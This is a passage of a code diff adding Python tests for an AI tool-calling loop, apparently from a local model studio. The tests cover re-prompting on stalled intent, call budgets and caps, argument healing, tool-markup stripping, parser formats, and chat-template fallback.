+        # non-re-prompt iteration, so the duplicate burned the second slot and the third
+        # turn was sent with no tools, dropping the ``python`` call.)
+        captured_tool_names: list[list[str]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_tool_names.append(
+                [
+                    tool["function"]["name"]
+                    for tool in (active_tools or [])
+                    if tool.get("function", {}).get("name")
+                ]
+            )
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-result", "python-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 2,
+            )
+        )
+
+        # Both distinct tools execute; the repeated call in between did not cost a slot.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+        # The turn after the duplicate still offered tools (budget not yet spent).
+        assert captured_tool_names[2] == ["web_search", "python"]
+
     def test_repeated_duplicate_noop_transitions_to_final_attempt(self):
         captured_tool_names: list[list[str]] = []
         turns = iter(
@@ -903,6 +3102,269 @@ class TestLoopBehaviour:
         assert "boom" in tool_end["result"]
 
 
+class TestLoopRePrompt:
+    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``MAX_ACT_REPROMPTS`` extra slots. Studio always nudges, so these drive the loop with ``nudge_tool_calls=True``."""
+
+    def test_intent_signal_triggers_reprompt(self):
+        # Turn 1: intent signal, no tool call.
+        # Turn 2 (re-prompt): proper tool call -> executes.
+        # Turn 3: final answer.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that."],
+                [
+                    '<tool_call>{"name":"web_search","arguments":'
+                    '{"query":"sky color"}}</tool_call>'
+                ],
+                ["The sky is blue."],
+            ],
+            exec_results = ["Blue (Rayleigh scattering)"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        # web_search must have been called once (after the re-prompt).
+        assert exec_fn.calls == [("web_search", {"query": "sky color"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "blue" in contents[-1]["text"].lower()
+
+    def test_intent_signal_without_tools_does_not_reprompt(self):
+        # Same intent signal but no tools enabled -- must NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["Let me think about that for a moment."]],
+            exec_results = [],
+        )
+        # _make_loop hard-codes three tools; rebuild without tools.
+        from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+        def _gen(_messages):
+            yield "Let me think about that for a moment."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [],
+                execute_tool = exec_fn,
+            )
+        )
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "think" in contents[-1]["text"].lower()
+
+    def test_direct_answer_does_not_trigger_reprompt(self):
+        # Plain answer with no intent words: do NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["4"]],
+            exec_results = [],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and contents[-1]["text"].strip() == "4"
+
+    def test_max_reprompts_capped(self):
+        # Model keeps stalling with intent -- after MAX_ACT_REPROMPTS re-prompts
+        # the loop must give up rather than burn forever.
+        turns = [["Let me search for that."]] * 6  # well over the cap
+        loop, exec_fn = _make_loop(
+            turns = turns,
+            exec_results = [],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop, max_events = 500)
+        # No tool ever ran, but the loop terminated cleanly.
+        assert exec_fn.calls == []
+        statuses = [e for e in events if e["type"] == "status"]
+        assert statuses and statuses[-1]["text"] == ""
+
+    def test_short_intent_below_buffer_threshold_triggers_reprompt(self):
+        # Short emission that never exits BUFFERING (< 32 chars + no
+        # marker prefix). The unified buffer-end path must still
+        # trigger the intent re-prompt, not silently terminate.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me check."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ["found"],
+            ],
+            exec_results = ["..."],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "x"})]
+
+    def test_reprompt_does_not_consume_tool_budget(self):
+        # max_tool_iterations=1: one re-prompt, then one real tool call,
+        # then the budget-exhausted final answer must still fire. If the
+        # re-prompt ate the slot the tool call would never run.
+        loop, exec_fn = _make_loop(
+            turns = [
+                # 1. Intent stall (re-prompt).
+                ["Let me search for that."],
+                # 2. Real tool call (uses the budget slot).
+                ['<tool_call>{"name":"web_search","arguments":{"query":"weather"}}</tool_call>'],
+                # 3. Budget exhausted -> nudged final answer.
+                ["Final: it is sunny"],
+            ],
+            exec_results = ["sunny"],
+            max_tool_iterations = 1,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+
+class TestLoopCanonicalHealKey:
+    """Per-tool canonical heal key (``code``/``command``/``query``), mirroring GGUF."""
+
+    def test_python_bare_string_heals_to_code(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"python","arguments":"print(1)"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["1\n"],
+        )
+        events = _collect_events(loop)
+        # The bare string must heal to {"code": "print(1)"}, not
+        # {"query": ...}, so the python sandbox actually executes it.
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
+    def test_terminal_bare_string_heals_to_command(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"terminal","arguments":"ls -la"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("terminal", {"command": "ls -la"})]
+
+    def test_unknown_tool_bare_string_heals_to_query(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":"hello"}' "</tool_call>"],
+                ["ok"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hello"})]
+
+
+class TestGGUFSafetensorsHealingParity:
+    """Pin GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI."""
+
+    def test_gguf_imports_shared_signal_markers(self):
+        # The GGUF BUFFERING state machine must wake on every emission
+        # marker the shared parser knows -- otherwise Llama-3 / Mistral
+        # / Gemma 4 emissions slip past as plain prose when the
+        # llama-server structured channel fails.
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert "_SHARED_TOOL_XML_SIGNALS" in src, (
+            "GGUF agentic loop must reuse the shared TOOL_XML_SIGNALS "
+            "tuple so it wakes on all five emission formats"
+        )
+
+    def test_gguf_uses_shared_strip_helper(self):
+        # The GGUF stream-cleanup function must delegate to the shared
+        # strip_tool_markup so closed-pair markup is removed for every
+        # emission family (Llama-3 <|python_tag|>, Mistral [TOOL_CALLS],
+        # Gemma 4 <|tool_call>...<tool_call|>).
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert (
+            "_shared_strip_tool_markup" in src
+        ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper"
+
+    def test_gguf_uses_canonical_heal_keys(self):
+        # GGUF and safetensors heal a bare-string ``arguments`` to the same
+        # per-tool canonical key -- ``code`` for python, ``command`` for
+        # terminal, ``query`` for everything else. The mapping is centralised in
+        # the shared ToolLoopController (both backends route bare-string args
+        # through ``coerce_tool_arguments``), so the two paths cannot drift.
+        from core.inference.tool_loop_controller import (
+            _CANONICAL_HEAL_ARG,
+            coerce_tool_arguments,
+        )
+
+        assert _CANONICAL_HEAL_ARG["python"] == "code"
+        assert _CANONICAL_HEAL_ARG["terminal"] == "command"
+        assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == {
+            "code": "print(1)"
+        }
+        assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == {
+            "command": "ls -la"
+        }
+        assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == {
+            "query": "weather"
+        }
+
+    def test_intent_regex_matches_same_phrases_as_gguf(self):
+        # The intent re-prompt regex is now a single shared source of truth
+        # (tool_call_parser.INTENT_SIGNAL) consumed by both the GGUF and the
+        # safetensors/MLX loops, so behaviour is identical on Mac and Linux.
+        # Both backends must resolve to that one shared helper.
+        from core.inference.llama_cpp import (
+            _is_short_intent_without_action as gguf_fn,
+        )
+        from core.inference.safetensors_agentic import (
+            is_short_intent_without_action as sf_fn,
+        )
+        from core.inference.tool_call_parser import (
+            INTENT_SIGNAL as shared_re,
+            is_short_intent_without_action as shared_fn,
+        )
+
+        assert gguf_fn is shared_fn and sf_fn is shared_fn
+
+        for phrase in (
+            "I'll search for that",
+            "I will look it up",
+            "Let me check",
+            "I am going to call the tool",
+            "First, I will explore",
+            "Here's my plan",
+            "Now I need to call web_search",
+        ):
+            assert shared_re.search(phrase), f"missed {phrase!r}"
+            assert shared_fn(phrase), f"helper missed {phrase!r}"
+
+        for plain in (
+            "4",
+            "Hello!",
+            "The sky is blue.",
+            "I can help with that.",
+            "I should mention",
+            "Let's go.",
+            # Negated intent is a refusal, not a plan: neither backend may
+            # force a tool-call re-prompt on it.
+            "I will not search the web for that.",
+            "I'll never call that tool.",
+        ):
+            assert not shared_re.search(plain), f"wrongly fired on {plain!r}"
+            assert not shared_fn(plain), f"helper wrongly fired on {plain!r}"
+
+    def test_max_reprompts_equal_on_both_backends(self):
+        # Both loops draw the cap from the shared constant, so they stay equal.
+        from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap
+        from core.inference.safetensors_agentic import MAX_ACT_REPROMPTS as sf_cap
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS as shared_cap
+
+        assert gguf_cap == sf_cap == shared_cap
+
+
 class TestLoopControl:
     def test_cancel_event_breaks_loop(self):
         cancel = threading.Event()
@@ -1319,6 +3781,28 @@ class TestGuardrails:
             and event.get("type") in {"tool_start", "tool_end"}
         ]
 
+    def test_same_turn_distinct_calls_are_capped(self):
+        # >_MAX_TOOL_CALLS_PER_TURN DISTINCT calls in one turn must be capped so a runaway turn
+        # cannot fan out into many executions (the GGUF path is held back by llama-server's lazy ...
+        from core.inference.safetensors_agentic import _MAX_TOOL_CALLS_PER_TURN
+
+        n = _MAX_TOOL_CALLS_PER_TURN + 4
+        turn = "".join(
+            '<tool_call>{"name":"web_search","arguments":{"query":"q%d"}}</tool_call>' % i
+            for i in range(n)
+        )
+        loop, exec_fn = _make_loop(
+            turns = [[turn], ["final"]],
+            exec_results = ["r"] * n,
+            max_tool_iterations = 2,
+        )
+        _collect_events(loop)
+        assert len(exec_fn.calls) == _MAX_TOOL_CALLS_PER_TURN
+        # The first N distinct queries executed, in document order.
+        assert [a["query"] for _name, a in exec_fn.calls] == [
+            "q%d" % i for i in range(_MAX_TOOL_CALLS_PER_TURN)
+        ]
+
     def test_coerce_string_args_python_uses_code_key(self):
         assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"}
 
@@ -1357,5 +3841,918 @@ class TestGptOssNameDetection:
         assert is_gpt_oss_model_name(cast(str, None)) is False
 
 
+# ────────────────────────────────────────────────────────────────────
+# Plan-without-action re-prompt (GGUF loop parity)
+# ────────────────────────────────────────────────────────────────────
+
+
+class TestPlanWithoutActionReprompt:
+    def test_short_intent_is_reprompted_and_tool_executes(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the final answer."],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("Here is the final answer." in t for t in texts)
+
+    def test_reprompt_fires_up_to_the_cap(self):
+        # GGUF parity: a persistently stalling model is re-prompted up to
+        # MAX_ACT_REPROMPTS times, then the last stall is surrendered as the
+        # final answer and no further turn is generated.
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS
+
+        stall = "Let me look into it first."
+        turns = [["I'll search the web for that."]]
+        turns += [[stall]] * MAX_ACT_REPROMPTS
+        turns += [["SHOULD NOT APPEAR"]]
+
+        generations = {"count": 0}
+        turn_iter = iter(turns)
+
+        def _gen(_messages):
+            generations["count"] += 1
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool([])
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        # One initial turn plus exactly MAX_ACT_REPROMPTS re-prompted turns.
+        assert generations["count"] == MAX_ACT_REPROMPTS + 1
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any(stall in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_long_prose_answer_is_not_reprompted(self):
+        long_answer = "I'll keep explaining the details of the topic. " * 60
+        loop, exec_fn = _make_loop(
+            turns = [
+                [long_answer],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_disabled_auto_heal_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            auto_heal_tool_calls = False,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_explicit_nudge_off_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = False,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_omitted_nudge_flag_is_not_reprompted(self):
+        # The retry is new on this loop: API callers who do not send the flag
+        # must keep today's behavior. Studio opts in explicitly.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_rag_autoinject_counts_as_executed_tool(self, monkeypatch):
+        # Autoinject already ran a KB search outside the controller; a short
+        # post-retrieval intent must not trigger a spurious re-prompt.
+        import core.inference.tools as tools_mod
+
+        def fake_autoinject(conversation, rag_scope):
+            return {
+                "events": [
+                    {"type": "tool_start", "tool_name": "search_knowledge_base"},
+                    {"type": "tool_end", "tool_name": "search_knowledge_base"},
+                ],
+                "messages": [{"role": "tool", "content": "kb result"}],
+            }
+
+        monkeypatch.setattr(tools_mod, "build_rag_autoinject", fake_autoinject)
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the docs."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        assert any(e.get("type") == "tool_start" for e in events)
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the docs." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_denied_tool_confirmation(self, monkeypatch):
+        # An explicit user denial must not be answered with a nudge to call
+        # the tool again (which would raise another confirmation prompt).
+        monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1")
+        monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object())
+        monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny")
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["I'll search again."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            confirm_tool_calls = True,
+            session_id = "sess",
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search again." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_tool_already_executed(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Now I'll refine the search."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+
+# Routes-level python_tag strip (multi-line; stop on next sentinel)
+class TestRoutesPythonTagStrip:
+    """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
+
+    def _strip(self, text: str) -> str:
+        # Import inside the test so a routes-module import error does
+        # not blow up the entire test file at collection time.
+        from routes.inference import _strip_tool_xml
+        return _strip_tool_xml(text)
+
+    def test_single_line_python_tag_stripped(self):
+        # Floor: the original 5620 single-line behaviour still works.
+        text = '<|python_tag|>brave_search.call(query="weather")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_less_than_in_code(self):
+        # 5615 regression: literal ``<`` inside code must NOT terminate
+        # the strip early.
+        text = '<|python_tag|>python.call(code="if x < 10: pass")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_code_stripped(self):
+        # 5620 round-1 regression: multi-line code's second line leaked.
+        text = '<|python_tag|>python.call(code="line1\nline2\nline3")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_with_less_than(self):
+        # Combined: multi-line code AND literal ``<`` in code.
+        text = (
+            '<|python_tag|>python.call(code="for i in range(10):\n'
+            "    if i < 5:\n"
+            '        print(i)")'
+        )
+        assert self._strip(text) == ""
+
+    def test_python_tag_stops_at_eom_sentinel(self):
+        # Strip stops at the next Llama-3 ``<|`` sentinel so any
+        # trailing assistant content survives.
+        text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text"
+        assert self._strip(text) == "<|eom_id|>final answer text"
+
+    def test_python_tag_stops_at_eot_sentinel(self):
+        text = '<|python_tag|>brave_search.call(query="x")' "<|eot_id|>after"
+        assert self._strip(text) == "<|eot_id|>after"
+
+    def test_python_tag_json_form_multiline_stripped(self):
+        # The JSON form of python_tag with newlines inside string args.
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"a = 1\nb = 2\nprint(a+b)"}}'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_eom_then_trailing_python_tag(self):
+        # Two python_tag emissions back-to-back across a sentinel: both
+        # should strip independently.
+        text = (
+            '<|python_tag|>brave_search.call(query="a")'
+            "<|eom_id|>"
+            '<|python_tag|>python.call(code="x=1")'
+        )
+        # ``<|eom_id|>`` between the two strips remains; both
+        # python_tag blocks are fully consumed.
+        assert self._strip(text) == "<|eom_id|>"
+
+
+# Robustness fixes uncovered while validating against vLLM / sglang.
+class TestParserRobustness:
+    def test_tool_call_json_accepts_parameters_key(self):
+        # Hermes wrapper around a Llama-3.2 bare-JSON object that uses
+        # ``parameters`` instead of ``arguments``. The bare-JSON and
+        # python_tag paths already accept both keys; this path now does
+        # too. Was extracting name only and silently dropping the args.
+        import json
+
+        text = "<tool_call>\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"}
+
+    def test_function_xml_attribute_form(self):
+        # MiniCPM-5 / MiniMax-M2 attribute syntax:
+        # ``<function name="..."><param name="...">v</param></function>``.
+        import json
+
+        text = '<function name="get_weather">' '<param name="city">Tokyo</param>' "</function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_xml_attribute_form_multi_param(self):
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            '<param name="unit">celsius</param>'
+            "</function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"city": "Tokyo", "unit": "celsius"}
+
+    def test_function_xml_legacy_equals_form_still_works(self):
+        # Regression guard: the old ``<function=name><parameter=k>v``
+        # syntax must keep parsing after the regex broadening.
+        import json
+
+        text = "<function=get_weather><parameter=city>Tokyo</parameter></function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_form_has_tool_signal(self):
+        # The standalone ``<function name="...">`` attribute form must flip
+        # the streaming buffer; otherwise the end-of-turn safety-net parse in
+        # the agentic loop is gated off and the real call is dropped.
+        assert has_tool_signal('<function name="get_weather">') is True
+
+    def test_function_attribute_form_strip_markup(self):
+        # The attribute form must also be stripped from displayed text, like
+        # the legacy ``<function=...>`` form.
+        text = 'result <function name="g"><param name="c">X</param></function>'
+        assert strip_tool_markup(text, final = True) == "result"
+
+    def test_llama3_chat_template_round_trip(self):
+        # Meta's official Llama-3.x chat template prefixes every
+        # assistant turn with
+        # ``<|start_header_id|>assistant<|end_header_id|>\n\n``. The
+        # sentinel-strip in ``_parse_llama3_bare_json`` must reach past
+        # the role label to the JSON body, else every round-tripped
+        # tool call in history silently drops.
+        import json
+
+        text = (
+            "<|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "get_weather", "parameters": {"city": "Tokyo"}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_llama3_round_trip_all_roles(self):
+        # Same logic must work for every role the chat template inserts.
+        import json
+        for role in ("assistant", "user", "system", "tool", "ipython"):
+            text = (
+                f"<|start_header_id|>{role}<|end_header_id|>\n\n"
+                '{"name": "f", "parameters": {"x": 1}}'
+            )
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"failed for role={role}"
+            assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_llama3_round_trip_with_eot_prefix(self):
+        # Prior assistant turn closes with ``<|eot_id|>``, then the
+        # new header opens. Both sentinels + the role must be consumed.
+        import json
+
+        text = (
+            "<|eot_id|><|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "f", "parameters": {}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "f"
+
+    def test_function_xml_followed_by_prose(self):
+        # Models routinely follow a tool call with explanatory prose.
+        # Body must terminate at ``</function>`` even without a
+        # ``</tool_call>`` wrapper, else trailing prose leaks into the
+        # last parameter value.
+        import json
+
+        text = (
+            "<function=get_weather>"
+            "<parameter=city>Tokyo</parameter>"
+            "</function>\n\nHere is what I found."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_xml_followed_by_prose(self):
+        # Same expectation for the MiniCPM-5 attribute form.
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            "</function>\n\nLet me know if you need anything else."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+def test_render_with_native_template_returns_render_only_when_tools_emitted():
+    # The native-template fallback re-renders with the model's repo template when an override drops
+    # the tools schema.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "")
+
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)  # never reflects tools
+
+    out = render_native_template(
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert out == "hi|TOOLS=web_search"
+    # The native template must be restored on the live tokenizer after probing.
+    assert model_info["tokenizer"].chat_template == "OVERRIDE"
+
+    assert (
+        render_native_template(
+            model_info = dict(model_info),
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = ignoring,
+        )
+        is None
+    )
+
+    # No tokenizer and no processor -> return None instead of an AttributeError.
+    no_tok = {"native_chat_template": "TPL"}
+    assert (
+        render_native_template(
+            model_info = no_tok,
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = emitting,
+        )
+        is None
+    )
+
+
+def test_render_with_native_template_does_not_mutate_shared_tokenizer():
+    # The shared tokenizer must never carry the temporary native template, even mid-render: this
+    # runs outside the generation lock, so a concurrent request could otherwise render with the ...
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    shared = SimpleNamespace(chat_template = "OVERRIDE")
+    seen = []
+
+    def capture(tokenizer, msgs, *, tools, **_kw):
+        seen.append((tokenizer is shared, shared.chat_template))
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {"native_chat_template": "TPL", "tokenizer": shared}
+    render_native_template(
+        model_info = model_info,
+        active_model_name = "x",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = capture,
+    )
+    # Rendering happened on a copy, and the shared tokenizer stayed "OVERRIDE"
+    # throughout (never the temporary "TPL").
+    assert seen and all(not is_shared for is_shared, _ in seen)
+    assert all(tpl == "OVERRIDE" for _, tpl in seen)
+    assert shared.chat_template == "OVERRIDE"
+
+
+def test_native_template_loads_from_base_model_for_lora(monkeypatch):
+    # For a LoRA adapter the chat template lives on the base model; active_model_name
+    # is the adapter id and may ship no template. The loader must read base_model.
+    from types import SimpleNamespace
+
+    import transformers
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    captured = {}
+
+    def fake_from_pretrained(name, *args, **kwargs):
+        captured["source"] = name
+        return SimpleNamespace(chat_template = "BASE_TPL")
+
+    monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained)
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {
+        "base_model": "base/model-id",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "adapter/path",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = emitting,
+    )
+    assert captured["source"] == "base/model-id"
+    assert out == "hi|T"
+
+
+def test_render_with_native_template_fallback_swaps_when_override_drops_tools():
+    # The shared gate (used by the transformers and MLX backends): when the live render is
+    # identical with and without tools, re-render with the native template and return it.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    # apply_fn that IGNORES tools -> live render drops the schema.
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)
+
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    # Native render emits the tools, so the fallback swaps to it.
+    def native_emits(tokenizer, msgs, *, tools, **_kw):
